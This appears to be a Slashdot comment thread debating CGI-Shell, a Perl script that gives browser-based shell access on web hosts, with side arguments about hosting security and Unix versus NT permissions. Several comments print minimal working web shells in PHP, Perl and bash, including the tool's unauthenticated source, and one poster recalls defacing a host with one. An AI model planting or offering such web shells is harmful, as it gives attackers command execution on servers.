Re:To Paraphrase Jurrassic Park...

[Webmonger]

C'mon, if there's a geek credo, it must be "Because we can". When has it ever been about "should"?

lynx?

[Anonymous Coward]

Can it run Lynx?

Applications

[Autonymous Toaster]

While this could be very useful in offering finer control of small dedicated servers (especially in ways that were unenvisioned when the server was created, meaning a predetermined command set couldn't encapsulate all possible uses), I have concerns about security, both in access control and also privacy (sniffing).

For example, if a toaster were controllable via HTTP, the user's toast-making preferences should be held private - indeed this is a sacred rite. For now I think it better to use somewhat more client-heavy schemes such as Java SSH applets. Granted this requires the creation of an account for each user instead of just a CGI directory, but this isn't a great deal more effort, and if you value your users enough to offer them a service (let alone toast!) that effort seems justified.

Probable hosting service response.

[Minupla]

If I were a hosting service, I'd be visiting the creator of that with a LART. The big reason why hosting providers do not generally provide shell accounts is that its much much harder to harden a box against attempts from a non-root user to leverage their access to get root. I predict you'll see a lot of hosting providers move away from allowing CGI because of this and things like it. That was the policy at places I ran. You couldn't put up CGI without paying for one of the sysadmins to do a security check of the script.

Min

Re:Probable hosting service response.

[Anonymous Coward]

If the internet routes around failure, why does "www.microsoft.com" resolve?

Because that's a matter of DNS, not routing. You might mean "...why can I still reach www.microsoft.com?".

Re:Probable hosting service response.

[Minupla]

Eventually a packet has to route to M$'s DNS server, (DNS caches and such not withstanding), so routing to M$ is still involved. Aside from all that, it was intended to be amusing, not 100% technically correct :)

Re:Probable hosting service response.

[zmooc]

That's the case right now - at most providers you can only run a few preselected scripts. For custom scripts and php you have to pay more. And it's not that insecure either since it'll probably just work with https.

Re:Probable hosting service response.

[loucura!]

Notice the past tense in "ran"... If I'm paying for hosting, it better damn well include CGI. Otherwise, it's like renting a house that doesn't include windows, and closets, yeah, you can live without them, but would you really want to?

Re:Probable hosting service response.

[Minupla]

I wasn't particularly refering to interception of password information in terms of security. Although a concern, looking at it from an ISP's POV, it doesn't matter much if the user who pays me is trying to leverage to root access on my box or if it's some Man in the Middle who sniffed his password or (more likely then a MitM attack in my estimation) it's some sqript kidd13 who has managed to put a backdoor on my users's windows box. My concern is that if you can run arbitary binaries from anywhere in the path it opens up a whole new realm of local security exploits that many SA's currently just say "Oh well it's not remotely exploitable."

Not saying its a GOOD security position to ignore exploits that aren't remotely exploitable, just that it appears to be the attitude put forward by the vast majority of sysadmins.

Minupla

Re:Probable hosting service response.

[Domingos Neto]

Don't think host providers will move away from CGI's. That's why most users subscribe their services. If I'm going to have only static content, there is plenty of free hosting services that give me that for free.

Re:Probable hosting service response.

[Digital11]

All Microsoft jokes aside, your sig doesn't make sense. How can you call one of the most profitable companies in the world that turned even lowly 'secretaries' into millionaires a failure? Do the math. High Profit != failure.

Re:Probable hosting service response.

[Minupla]

FYI: the company I 'ran' it for is still running today, unlike many of the companies from the dot com era. I moved on, my company kept on ticking :).

Re:Probable hosting service response.

[Stephen VanDahm]

Banning CGI may not be good for business -- so many people these days are getting websites so they can set up weblogs with Moveable Type or Greymatter -- if CGI weren't allowed there would be no point. And since it seems that everyone and his brother is running a hosting company, the market is probably really competitive right now.

It would be cool if there were a way to run each site on a virtual OS, so that rooting one virtual server would have no effect upon the other virtual servers, or the real physical server. Could user-mode Linux be used for this? VMware?

Steve

Re:Probable hosting service response.

[Minupla]

Virtual machines? Possibly, HDD costs are a lot lower then when I did it. I looked at using chroot'd environments at the time to allow me to more reasonably partition userspace environments (realizing this was a few years back) and the extra cost in terms of having to duplicate HD space use for each individual user. (Duplicate libs, binaries etc, since you can't read them from outside the chroot'd environment). So I installed a set of cgi scripts in a public CGI directory, that covered most of the things users wanted to do at that point, after auditing them, and making any mods to allow for multiple users needing to run instances of the software (move data dirs, include a data/username structure, etc).

It would depend on how much the economics has changed over the last 7 yrs really.

Minupla

Re:Probable hosting service response.

[Chanc_Gorkon]

There is. Linux under VM on zSeris (or s/390 or whetever IBM decides to call it....). Granted most ISP's can't afford a mainframe. With a vm session, the overall security is governed by vm. If a user's image gets comprimised because of something that user did, you can figure out what happened and then take it offline. If it was some bad code, you can call up the user and tell him to fix it (maybe even how). If it was because they did not do something, which it most likely would not be, then they can restore from backups. If a user keeps having problems with people hacking his account, then the account could be revoked. The logistics are many in this type of situation, but it could be done.

Re:Probable hosting service response.

[pyrrho]

> High Profit != failure.

proof please. High profit can coexist with failure.

Maybe you don't care about the failure if you've profitted, but what does does that mean to Failure.

Sports players can get high $ contracts and fail on the field.... is that failure or success. I don't care JUST what the account says to that.

With software engineering there are a lot of software engineering based "failures" that are totally orthogonal to if they were specifically financial failure.

Your's is perhaps a tunnel vision that can only think of one meaning for success.

Re:Probable hosting service response.

[jshowlett]

One way to do this is spelled "Java".

Re:Probable hosting service response.

[Minupla]

Microsoft has had many unudulterated failures over its history. Notably MS's attempts early to try to push aside TCP/IP in defference to a MS standard.

Also profit is not the be all and end all of measurement of a company. Enron was fantasticly profitable as a company. I don't believe that anyone will argue that it was a failure.

Microsoft is an ecologicly unfriendly company. It uses its position as a market leader to supress inovation in any markets it's in, or any markets that border it. While that makes for good profits, I don't believe it's a decision that is in Microsoft's long term best intrests. Just as in nature, competition is essential for a corporate organism to evolve and better itself.

As usual, that's my opinion and history will sooner or later prove me right or wrong.

Min

Re:Probable hosting service response.

[Minupla]

Yes, but the economic question comes down to: can you afford this structure for 10$-20$/mo/user?

Maybe, I don't know. Working out the economic bussiness case is beyond the scope of this discussion and left as an exercise to the (more bored then me :)) reader.

Min

Re:Probable hosting service response.

[Anonymous Coward]

It would be cool if there were a way to run each site on a virtual OS, so that rooting one virtual server would have no effect upon the other virtual servers, or the real physical server.

You can have this today. They call it Virtual Private (or Dedicated) Servers (VPS/VDS). I know a handful of places offering this.

(in no particular order:)

• http://www.tera-byte.com/vir.html
• http://www.cagedtornado.com/
• http://linuxvds.com/
• http://www.fluidhosting.com/vps/
• http://www.velocityserver.com/

Re:Probable hosting service response.

[Digital11]

I'm assuming you're replying while knowing MS's vision and goals as a company? Chances are, when Gates & Co. started out, I'm sure they never imagined being the monolith they have become of late. I'd care to wager that Gates would consider his company to be a success considering how they started. Sure, there are many individual failures that can be attributed to MS (MS Bob anyone?) but you just can't argue with their market share. Don't get me wrong, I'm not an MS fanboy, nor do I agree with hardly any of their tactics. But I do use their software daily by choice because it gets the job done. Not necessarily for every application mind you, (which explains the 2 FreeBSD boxes sitting next to me) but there are things that MS software does very well, and you can't argue with that.

As far as my tunnel vision, if the company I start turns me into a millionaire, even if the product isn't everything I dreamed it to be, I would consider myself to be mildly successful, how about yourself?

Re:Probable hosting service response.

[Anonymous Coward]

Giving everyone their own JVM is great - their own little sandbox they can piss in without affecting anyone else.

The downside to this is the amount of memory that a JVM can soak up - its not often I check my memory usage and my JVM is taking up less than 30MB. Memory is cheap these days, but its not _that_ cheap.

Re:Probable hosting service response.

[pyrrho]

I would say the term success is relative, and requires a qualifier... a criteria and point of reference.

As for MS's mission, used to be a "PC everywhere"... pretty aimed at ubiquity such as they have today.

They changed that last year, I believe. Now it's something like, and I paraphrase, "No More Sharing."

It's been said that Bill Gates wanted to make sure that MS never turned into IBM. Ok, failure, MS is just like Old IBM (as distinct from the New IBM.

Now: would I feel like a success with a million dollars... well, it totally depends. The question of would I feel comfortable... easier to answer, yes.

But for the former, just to reiterate, it depends totally on the goal. If I make a new kind of motor, drum up VC, pocket a cool million and it turns out my idea is baseless (but not so baseless that I go to jail for fraud), it's not a success. Am I? um, not with respect to that business (unless taking sucker money was the real goal all allong!)

Another example, if I win the lottery, am I a success? No. Because I don't have a method that will win the lottery, I used the same failing method as everyone else.

But then, I admit you do have a point... they have some successes. Word, for example. Windows. These things did succeed.

But they have failures too.

So going back to the joke about routing around failure... the poster does have access to points of view, criteria, where MS is a failure, so I think it makes sense as a joke.

But in a way I agree that it's Just A Joke, because it doesn't explain the criteria either, and is prone to the same weakness as saying that MS is an unqualified success.

Look, my reasoning might be circular... but aren't they nice, tight little circles? Superstrings I like to call them...

cheers.

Re:Probable hosting service response.

[Anonymous Coward]

Don't forget viaverio.com (formerly iserver). They've been doing virtual private servers for like six years now. (Maybe longer.)

Old news

[Kenrod]

My hosting provider offered this type of CGI remote shell several years ago. They stopped offering it after they realized what a dumb fucking idea it was.

This has always been possible

[Anonymous Coward]

Nothing new on this, parsing through commands to scripts has always been a possibility, and i used it a lot in my (sorry) grey days..

<? passthru($cmd); ?>

http://.../..php?cmd=ls|sed 's/\n/<br>/g'

If You're With A Web Host...

[jbottero]

That does not offer shell, you're with the wrong web host.

Who it runs as

[SirCrashALot]

My host liquidweb, has a wrapper script that allows your cgi-bin to suid as you. Otherwise it runs as nobody. For instance, I want to have a cgi script that makes changes to my home dir, i can use their wrapper to give it access. In the same way I am sure I could set this up to give me a shell. However, I have an ssh account so it doesn't matter.

Stop whinging - this is a good thing

[cliveholloway]

Any exploits that this allows idiots/script kiddies to do are exploits that a Perl programmer with half a brain can write in about 6 lines of code:

use CGI;
my $q=CGI->new();
my $command = $q->param('command')
$command and print $q->header('text/plain').`$command`."\n" and exit;
print $q->header.$q->start_html.$q->start_form.$q->textf ield('command').$q->end_form.$q->end_html;

If your web server is so badly configured that this creates security issues for you, you seriously need to read up on security.

.02

cLive ;-)

Re:Stop whinging - this is a good thing

[cliveholloway]

oops - missed a semicolon after "$q->param('command')"

clive ;-)

Re:Stop whinging - this is a good thing

[Anonymous Coward]

If your web server is so badly configured that this creates security issues for you, you seriously need to read up on security.

I hope you can sysadmin because you sure as fuck don't write code anyone i know would want to maintain.

Re:Stop whinging - this is a good thing

[Anonymous Coward]

#!Whereverperlislocated perl -v
solves that problem

Re:Stop whinging - this is a good thing

[Anonymous Coward]

err...w, not v
should have hit preview

Re:Stop whinging - this is a good thing

[lubricated]

> I hope you can sysadmin because you sure as fuck don't write code anyone i know would want to maintain.

It's called perl.

Re:Stop whinging - this is a good thing

[geekoid]

thus proviong that cLive ;-) is a "Perl programmer with half a brain ". ;)

Re:Stop whinging - this is a good thing

[xchino]

You obviously know very little about security. Granted, any sysadmin who lets anyone upload any CGI script is asking for trouble, however the ability to execute commands as the CGI user opens up a whole new can of security worms. Do you not remember all the free shell providers that used to exist? Wonder why they don't anymore? Because it is nigh impossible to secure up a box with shell access. Instead of having to secure your internet facing services you have to secure every single possible hole. You'd have to change root even the most basic system services.

I agree that this is a good thing. I could really use this, But your comment about this only creating security problems on web servers with poor configuration is absolutely inane. If you think you're such a security badass, why don't you let me install and use it on your webserver and see if it creates security issues for you?

And just for your own education, why don't you check out all the application specific non-network related exploits that are posted in droves on bugtraq. All these become network exploitable when you have a shell.

Re:Stop whinging - this is a good thing

[cliveholloway]

Why on earth would you want to 'maintain' a throwaway one line example?

I did try to indent it though, but the code was a trivial example, and slashdot's code markup doesn't seem to like indentation.

Bluddy trolls...

Re:Stop whinging - this is a good thing

[cliveholloway]

And just for your own education, why don't you check out all the application specific non-network related exploits that are posted in droves on bugtraq. All these become network exploitable when you have a shell.

Perhaps I should have expanded on what I meant. Why let users have a shell? If you haven't looked already, check out Lincoln Stein's sbox.

Also, with the User directive available in Apache/suexec, there is no reason to not run CGI's as the script owner, rather than as user 'nobody' or 'www' (or whatever) - another common security issue.

.02

cLive ;-)

Re:Stop whinging - this is a good thing

[Bronster]

You obviously know very little about security. Granted, any sysadmin who lets anyone upload any CGI script is asking for trouble, however the ability to execute commands as the CGI user opens up a whole new can of security worms.

You obviously know very little about CGI if you don't realise that the ability to upload any CGI script _is_ the ability to run any command as the CGI user.

The only difference here is that the script allows the commands to be specified later, rather than explicity at upload time. Woohoo. Anyone with any sense has password protected this CGI anyway, and runs it on a HTTPS service to stop password snooping. Makes it like a shell that doesn't require IP access, only cache-forwarded HTTPS. I have places I can only get the later, and it's handy to have something like this then. It's the same reason I use webmail as well as mutt-on-Maildir.

Re:Stop whinging - this is a good thing

[p0et]

err... no.. :) he did it in *five* lines!

it's that extra line that separates de skripitie kidd1e from the great true hacker!!! ;)

I had the opposite

[infiniti99]

This 'cgi shell' trick is not new. If you have cgi access, then you pretty much have system access. I don't even see the point of providers restricting shell access. Between that and cgi, there's no difference in power, only in convenience.

I once had the opposite problem. About 10 years ago, my ISP gave shell accounts and a web folder, but did not offer cgi. Again, why bother? I got around it rather easily by running my own http server on a non-standard port from my shell account. Then if I wanted to link to a cgi from my web page, I just had to include the ":port" in the URL.

Re:I had the opposite

[blair1q]

"That trick was old three days after Marconi invented the fucking thing."
-spake by the great Warren Oates in Blue Thunder

Many shell servers now run process scavengers that cull for all processes running without a user logged in, or running at high cpu for more than a few minutes. It's a security and reliability measure, killing runaway processes as well as service hogs. There are obviously ways to spoof interactive use, but probably not reliable ones, making your backdoor webserver no kind of server at all.

Webmin

[Anonymous Coward]

I am ignorant of theses types of issues but isn't this just like using Webmin.

in other news

[mrpuffypants]

every single web server on the face of the planet was just hacked

Re:in other news

[sakeneko]

every single web server on the face of the planet was just hacked

Only if every single webmaster with CGI access installs the !#$$#@&@! thing....

If I were running an ISP, I'd ban this CGI. I would also allow shell access via secure shell, though. If you just run a decently secure OS (OpenBSD, for example), keep on top of security information and patches, and perhaps require an additional small fee for shell access and put the accounts with shell access on a separate server, the security issues with shell access should be manageable.

But I still read email on shell -- what do I know? <wry grin>

Re:in other news

[mrpuffypants]

hey, i totally agree, just an ounce of security would keep this from heppening, but i've had a few friends install java telnet clients on their servers and tell me about how great that now they could admin their server from the web...

like it's that hard to telnet (or, if you're smart enough to disable telnet) ssh into the server

Just wait..

[grub]

gobbles will be telling the world about how he h4x0r3d OpenBSD's website with this..

Re:Just wait..

[Anonymous Coward]

Since the webservers are Solaris......

just use xterm.

[Anonymous Coward]

Why bother with this when you can just execute an xterm from the CGI program, setting $DISPLAY to your desktop machine? This has been available since day 0 of CGI. Really.

Re:just use xterm.

[kingsqueak]

People run X on servers? OMG, next thing you know people will be putting unpatched IIS installs on the net.

Re:just use xterm.

[kasperd]

People run X on servers?

That really doesn't matter. You can use xterm even if they do not run X. It is not the server that needs to run X, it is the client.

In fact I have used xterm in that way (because I had to):

#!/usr/local/bin/bash
echo content-type: text/html
echo
(((/usr/bin/X11/xterm -display $REMOTE_ADDR:0.0)&)</dev/null >&/dev/null)

Re:just use xterm.

[kingsqueak]

X being installed on a server is what I meant, I wasn't clear. IMO 'xterm' should even be there.

Re:just use xterm.

[kingsqueak]

Damn. s/should/should\ not/ need more coffee.

Re:just use xterm.

[diamondc]

why? you can set X so the X server only starts for local console users. plus if you really really need to run some X app, you can tunnel it thru ssh.

Re:just use xterm.

[kasperd]

IMO 'xterm' should even be there.

It is just a simple executable you need on the server. You could upload it if you really had to.

Re:just use xterm.

[kingsqueak]

For a shell server with the purpose of user account logins yeah it would be o.k. sure but for a web server, in order to harden the box properly you ideally want the box stripped down to its task. That's part of the absurdity of a cgi shell as an access method for a hosting provider. The shell users shouldn't be on the web servers, it's an abomination for a hosting provider. For a home user goofing off or for an intranet server maybe.

CGI

[Anonymous Coward]

People still use CGI?

Aren't there many more effective solutions to dynamic pages?

Moreover, it won't be long before this is on a blacklist of scripts.

You people are so negative!

[Ayanami Rei]

Whine whine whine script kiddies paradise, whine whine whine backdoor shenanigans

baka.

1) commands run with as much permissions as the perl script itself, including umask. If there just happens to be a local r00t expl0it, well that's too bad. Perhaps it would motivate the server owner to apply some patches. Any damage would be limited to that which can be done with shell access otherwise (which this is supposed to provide). Moreover, it would behoove the owner of said script to make a few simple changes and use a white list of allowed commands or a blacklist of dubious things to prevent shenanigans (IE no eval, command interpolation, or exec, and limiting PATH)

2) htaccess is as secure as telnet (perhaps moreso). I have telnet open to untrusted accounts, and I've not been rooted. The only thing I would complain about is how browsers manage basic auth permissions. I would encourage users to modify the script to remove any weird html and write a user-interface shell script (using curl or something) to provide a pseudo-terminal session. This would prevent the session from being hijacked by browser bugs or by just not closing out of Moz or IE.

3) Finally, there is nothing about this that would prevent you from using SSL... a feature that some sites might provide as a side effect of having a management, ecommerce, or sign-up site hosted on the same machine.

One thing I don't like is the lack of simple console i/o. It would be nice to provide simple console support via HTTP/1.1 streaming and javascript on the client side; it wouldn't be interactive but it could at least emulate things like no-echo with a "password" textbox vs. a normal textbox.
It sounds like a lot of work though.

Re:You people are so negative!

[Anonymous Coward]

htaccess is as secure as telnet (perhaps moreso). I have telnet open to untrusted accounts, and I've not been rooted.

What's your IP again?

Re:You people are so negative!

[Anonymous Coward]

Hello,

If you must call yourself after an anime character, could you please refrain from inserting single words of Japanese (usually 'baka' or '-chan') into your post? It would be much simpler and more convenient to simply have a polite 'I am pathetic' notice in your .sig.

Thanks.

shellinabox

[idan]

... has supported this for a long time:

sellinabox.com

This is news?

[Kryptolus]

Isn't something like this obvious?

Such "shell" CGIs have been around for a while.

I don't see why this ad...i mean...story deserves to be posted.

Whose bright idea was this?

[jdreed1024]

This seems like a Really Bad Idea(TM).

Let's examine some problems, shall we: -Most servers (if not all) run CGI scripts as a given user (ie: nobody, www, cgi, apache). If that user is a crippled or limited user, then CGI-Shell is useless for running commands other than "ls". If not, then that user could potentially kill things like the server process, which is also bad. -If all CGI scripts are run as the same user (see above), then anyone has access to files or directories created by another cgi-shell process. After all, they're owned by the same user. -Cleartext passwords via htpasswd. They didn't even _try_ to use SSL - it's so not hard. -Man-in-the-middle attack? Anyone could hijack your "shell" session. -Can anyone say backdoor?

Sure, this is cool to play around with and install on your home machine, but if anyone lets this into a production environment they're on crack. Either install sshd, or don't. But don't try to implement it over CGI.

I wonder if this story is just a troll...

Re:Whose bright idea was this?

[bear_phillips]

Why would it be any harder to grab a clear text ftp account password than a password sent cleartext via htpasswd?

But...

[dze]

Would this not be reasonably secure if SSL was enabled? It's not like you are getting any extra functionality. If you have CGI access you can always upload a perl script or whatever and run arbitrary system commands.

Not to be stupid

[Bob Abooey]

But now that's it 2003 and you can get FREE (as in mp3) *nix pretty why would this or getting a shell account for that matter, even be relevant? I can understand why trying to get a shell account was of value in 1990 but today when you can run *nix at home for FREE I don't get it.

Re:Not to be stupid

[xchino]

Unless you have a DS3 backbone, running Linux on your home system and having a shell account is a big difference. I used to have a shell account that I ran my eggdrop bot in since I couldn't be online to hold my channel 24/7. Also, installing and administrating a *nix system is a far cry from just using one.

Re:Not to be stupid

[Sloppy]

The machine that you want a shell on, might be much better connected than your home machine. Why do you think that hosting companies (web hosting, email hosting, virtual-colocating, etc) still exist? There's a good reason Rob doesn't run Slashdot on a PC in his laundry room.

Re:Not to be stupid

[Anonymous Coward]

There's a big difference between leeasing service for web-hosting and getting a shell account.

Re:Is CGI-Shell secure? (try SSL)

[Black Copter Control]

You can get a measure of security by running it under https:

If there is no security with this

[Anonymous Coward]

Then it was never there. CGI's which are written by users can do any of the things this "shell" can. What are you worried about specifically?

Not a huge deal...

[malfunct]

I was able to write this sort of shell script ages ago (maybe not use a real shell but execute commands just fine) but I never would because it opens your server right up. I doubt many hosts will let you run this script for long.

How about a Java ssh/telnet applet?

[pomakis]

A more common problem for me is this: I'm at a public terminal somewhere and want to telnet or ssh to my home machine (or some other machine), only to find that the terminal doesn't have a telnet or ssh client on it, only a web browser.

What I'd really like to find is a Java applet installed somewhere (ideally my home machine, but it could really be anywhere) that emulates a telnet/ssh client. That would allow me (and anyone I give htaccess to) to telnet/ssh to anywhere I want, from any terminal that's capable of running Java applets. Such an applet would be so mindbogglingly useful, I'm surprised I've never seen an instance of it yet.

Re:How about a Java ssh/telnet applet?

[iggymanz]

ssh java applets exist: http://javassh.org/

I like this idea better than a cgi-bin shell which might pass along naughty combinations of characters, and has everything in plain text to risk snooping.

Re:How about a Java ssh/telnet applet?

[PunchMonkey]

Yeah, you sure wouldn't find it by googling java ssh or maybe by going to javassh.org.

I mean... that would just be too easy and too obvious.

Re:How about a Java ssh/telnet applet?

[CaptainStormfield]

A very quick and dirty Google search produced numberous promising links. I tried the mindterm java app on a whim, and it worked quite well. If you are not completely paranoid, you can even use the link on their site to d/l the java applet, rather than taking up space on your web account.

Re:How about a Java ssh/telnet applet?

[spinkham]

They've been avalible for quite a few years, type "java ssh" into google for a whole mess of them...
TightVNC also includes a java client if you want to have a graphical remote connection.
I carry a business card size cd with putty and tightVNC and such on it to use most of the time though...

A pretty neat idea, actually.

[mobiGeek]

What were they thinking?

This tool is meant to be installed by someone who wants shell access to an account that they already have read and execute access to. If their web account is set up correctly (which it should be if the ISP is worth a damn), then the worst that happens is that the account of the web customer gets compromised...and that is the web customer's fault for installing the script when they don't know what they are doing.

I, for one, am considering using this on a couple of my customers' sites. They are hosted on systems where I can't get shell access. This will let me configure some things on the system without having an identical setup on my own box (or running a bunch of "echo `env | sort`" type CGI scripts)

I won't keep this script around in the account. When I need it I can upload it, do my deeds, and then remove it. I can change passwd each time I re-install.

BTW: I don't consider this any less secure than the (clear-text) FTP access I have to the account. The fact that this program exists means that anyone could have written it (or a similar proggy) and uploaded it to the CGI-BIN directory.

Re:A pretty neat idea, actually.

[toast0]

i would also recommend using an .htaccess (or the like) to have the webserver itself authenticate you, in case there are any backdoors in the script (that your audit of the code doesn't show)

Re:A pretty neat idea, actually.

[imnoteddy]

Rather than write a Perl script to access this, why not use an HTML form?

Not very useful for your purposes

[Gudlyf]

From the docs:

• What can CGI-Shell do, what can't it do?

  CGI-Shell allows the execution of any application and any command on the web-server. Various "comfort-features", such as a history and auto-completion with the tabulator are included - CGI-Shell offers in principle the same comfort as any other shell does. Unfortunately, applications interacting with the user (those that ask for input from the user), e.g. passwd are still a problem.

Go figure...

[foxtrot]

Crackers've been getting shells via poorly written CGI for years, but now it's news?

Even easier: PHP shell_exec()

[Gudlyf]

shell_exec() will do what you want in one line of PHP.

Re:Even easier: PHP shell_exec()

[interiot]

Perl's backticks do the same thing as PHP's backticks and shell_exec do. Note that there's a little more to the above script than just the backticks -- it also prints out a form for command input as well and a couple other things.

How is this anything new?

[rogueuk]

Seriously, this isn't exactly something which hasn't been done before. I remember, back in the day when I had no shell access, finding cgi scripts that did this. A quick check of cgi-resources.com shows one (webrsh) dating from 1998 which looks to do a lot more than this can. As for security, as long as your webserver can't access/execute anything potentially malicious, then I doubt you have much to fear from this.

lynx!?

[SHEENmaster]

if lynx and links won't work then screw this!

I give the hosted users of my server ssh access for the sole reason that it keeps them from running shit like this.

/etc/security/ contains all the settings needed to keep them from fucking stuff up. Before I configured process restrictions a user's chat server spun out of control, eventually spawning so many processes that the mouse didn't get enough processor time to move and there wasn't enough ram to start another login shell or http connection!

Despite the BOFH myths, which I am guilty of perpetuating, not all sysadmins are jackasses. So long as the sysadmin knows you and you promise not to abuse priveledges you can get everything short of root and /dev/dsp access.

If you really need shell access and don't want to risk losing your account just send your sysadmin a thinkgeek caffeine sampler and some shirts. Massive capacity SCSI disks are a great substitute.

Re:lynx!?

[Leto2]

Wait. You run a shell server and you have a mouse (i.e. a graphical UI) running on it?

Please do give me the IP :)

Re:lynx!?

[Anonymous Coward]

127.0.0.1, Jackass.

Re:lynx!?

[caluml]

a mouse (i.e. a graphical UI)

Er, no, not necessarily. GPM is useful for cutting and pasting in a text console (Alt + F1-6 )

Re:lynx!?

[Leto2]

127.0.0.1 seems to be completely secure....

Its only a problem if your web host is a moron...

[bteeter]

Speaking as a Web Host - I wouldn't mind this one bit. We run suEXEC on our servers, so any commands that they execute under this CGI-Shell would run under their own permissions anyhow.

They can do no worse running this script than they can already do on the command line. Since we use fairly tight permissions on the server, there isn't a lot they can do to disrupt things anyways.

A PHP Shell script has been around for a while - THAT version can cause some security issues since typically PHP runs as nobody. Then the trick is making sure nobody doesn't have any special permissions that could cause a server issue.

Basically, if your diligent, this script shouldn't cause any more problems than any other CGI script.

Take care,

Brian
--
http://www.assortedinternet.com/

Security?

[Fugly]

This clearly doesn't open up any new security holes that weren't already there.

Its worse use would be making cracking a box a little more convienient by allowing the hacker to run commands faster. It's best use would be making administering your site a little more convienient if you aren't allowed shell access. There's nothing to get up in arms about.

Isn't slashdot supposed to be an audience that understands both the legitimate and illegitimate uses of technologies. Every tool is a weapon if ya hold it right. Right?

Been there, done that

[Kakurenbo Shogun]

I made a script like this a few years back that I called "Telweb". It was mainly an experiment to see if I could make it work (and for use briefly on a server where I didn't have a shell account). I only ever told one person about it, and hesitated even to do that, because the results if it every got into the wild were "too terrible to imagine."

heh

[Anonymous Coward]

I once defaced a free webhost using a php shell program. I dont do those sort of things anymore but back then it was really funny.

Great - yet another way to exploit servers

[Anonymous Coward]

GREAT! That's all we need - Yet another way for a hacker to exploit a server. What will they come up next?

Re:Great - yet another way to exploit servers

[Anonymous Coward]

MS ISS

The Most Dangerous Script

[murcon]

Sheesh, this is old news:

http://www.speakeasy.org/~cgires/exec.html

dellhost didnt allow it

[craqboy]

i used to work for dellhost as a tech rep and we used to shut these off everytime we found them.

first offense shut it off
second offense - bye bye mr customer.

if they don't offer a shell this cgi probably violates the AUP.

Re:dellhost didnt allow it

[Anonymous Coward]

I guess Dell hires just Morons. :)

Wait... what's that noise?

[skinfitz]

It's the sound of serveradmins everywhere dropping one after reading this story!

See? Remote admin IS useful! ;)

Other cool remote web stuff

[philovivero]

Everyone knows VNC. It is great. Some don't know that you can run VNC as a java application, so that you can use most any web-enabled workstation to interact with your servers. For a start, here's the Debian package: VNC Java.

Also, there is a Java SSH client here: Java SSH Client.

Good stuff, and both have saved me a number of times in the past.

Re:Other cool remote web stuff

[mlk]

Actually this is included in the server, point a web browser at
http://vnc-host-of-your-choice:5800

I also have a a really crappy version which created .png files and used a image map for the click locations, so you can VNC even when you had been firewalled to hell/using a java-less client (BT MultiPhones for example) as a verient of my wetnet app (see link below) but the code is crap, and I stopped needing it so I've never released it.

Ohh, you can also find X and MS Terminal Services clients as Java apps (I have not used MS TS as the client costs $$$$, and only used the X client once, never been on a machine without an X client, kind-of unholy).

Reinventing the wheel...

[Hershmire]

This has already been done, and better (with SSH support, to boot).

Even better; use the Java Telnet Application

[macemoneta]

The Java Telnet Application supports SSH, and if you require SSL and password access to the directory in your web server, you can be reasonably secure with the login.

Re:Even better; use the Java Telnet Application

[cmehta1]

I could be wrong, but from my understanding javassh and mindterm both run a telnet/ssh client as a java applet that you still download thru your browser and run from your local machine as an applet. It may have some preset values (domain name, IP addie, login name), but it still initiates a connection from the local client to a running ssh server. If they are blocking telnet/ssh, then you are still S-O-L.

Re:Even better; use the Java Telnet Application

[macemoneta]

Yes, but the advantage is that you can use it from a system that only has a web browser (kiosks, libraries, Internet cafes, customer sites, etc.).

In an environment where you don't have the ability to install a ssh client (we used it while traveling), it can be a great way to obtain secure access to a server.

Source of CGI-Shell

[Christopher_G_Lewis]

This has got to be the most trivial piece of code ever for a Slashdot story.

#!/usr/bin/perl

#
# CGI-Shell -- Version 0.17a
# Copyright 2003 Michael Pradel
#
# This file is part of CGI-Shell.
#
# CGI-Shell is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# CGI-Shell is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with CGI-Shell; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#

use strict;
use CGI qw(:standard);

my $befehl = param("befehl");

my $ausgabe = `($befehl 2>&1)`;

chomp($ausgabe);

print <<ENDE;
Content-type: text/html

$ausgabe
ENDE

BS

[mindstrm]

I'm as much of a unix nut as the next guy.. but NT's ACL system is far more robust and flexible than the traditional unix system... hands down.

Example: Can the standard unix permissions give access to everyone in group a,b, and c, except for user x who is also a member of groups b and c, and y, as well as ensuring that z has full access to everything? No, you can't.

If you allow your customers to upload their own cgis, this is merely a tool.

This IS a good tool.

Re:BS

[kin_korn_karn]

yeah, I'd want this.. I had to write something similar for my work since I'm not root and I wasn't able to do things like delete lockfiles created by CGI processes.

Re:BS

[Winged Cat]

Sure it can. Just make a list of all members of groups a, b, and c, add z, subtract x (and y, if I read your example correctly), and create a new group d from that. Granted, group d's membership will have to be changed if a's, b's, or c's change, but you created a new group semantially in the problem statement anyway by modifying the existing groups.

Re:BS

[evilviper]

Example: Can the standard unix permissions give access to everyone in group a,b, and c, except for user x who is also a member of groups b and c, and y, as well as ensuring that z has full access to everything? No, you can't.

Sure! Add new group. Add users from a, b, and c to group, except for x ("and y"?). and change ownership to z.

Next, you'll say that ACLs are so much easier or give you more fine-grained control, but it's not true at all. ACLs, like USB2, are better in some convoluted "ideal" situation. Anyone who has ever used Windows' ACLs as well as Unix stlye permissions knows how incredibly terrible Windows' ACLs are to setup, and maintain. Hell, just the extreme changes that have to be made (before allowing a single user to login) are incredible. With Unix permissions, I can make any changes needed in a few minutes, take my lunch break, and come back to see you MCSEs still setting up the permissions, and also trying to *undo* the dozens of other ACL changes that were just collateral damage that you casued setting up the new ACL rules.

Re:BS

[WWWWolf]

Example: Can the standard unix permissions give access [...] No, you can't.

Not with the "standard" UNIX permissions - unless you create a new group (as said before). I'm not sure if ACLs are formally POSIXized yet, but some systems do support them (like IRIX and Linux with XFS file system, and also probably some commercial UNIXes...)

Re:BS

[MyHair]

I've read that that the ext2 filesystem can support ACLs but not many have implemented them.

A quick Google search brought me to this patch for ACL for ext2 with mention of POSIX ACLs, so I'm not crazy.

I've worked with Novell and WinNT in a production environment and find that fine grained access controls are an incredible pain in the ass. If I can maintain a tiered inherited simple structure then my life is much simpler than if this group wants to share one file in their folder with person A in city X but this file is for person B in city Y but they shouldn't see the rest.

Then later on a stupid coworker gives person C read access (or worse yet full access) to the root volume because of rights confusion. That happens too frequently: a lazy or hurried admin just gives full access to get the production issues smoothed out at great risk to security. (No one's deleted anything, but has a worker noticed at some point that he was able to view his senior manager's sensitive documents before I caught the error? I hope not.)

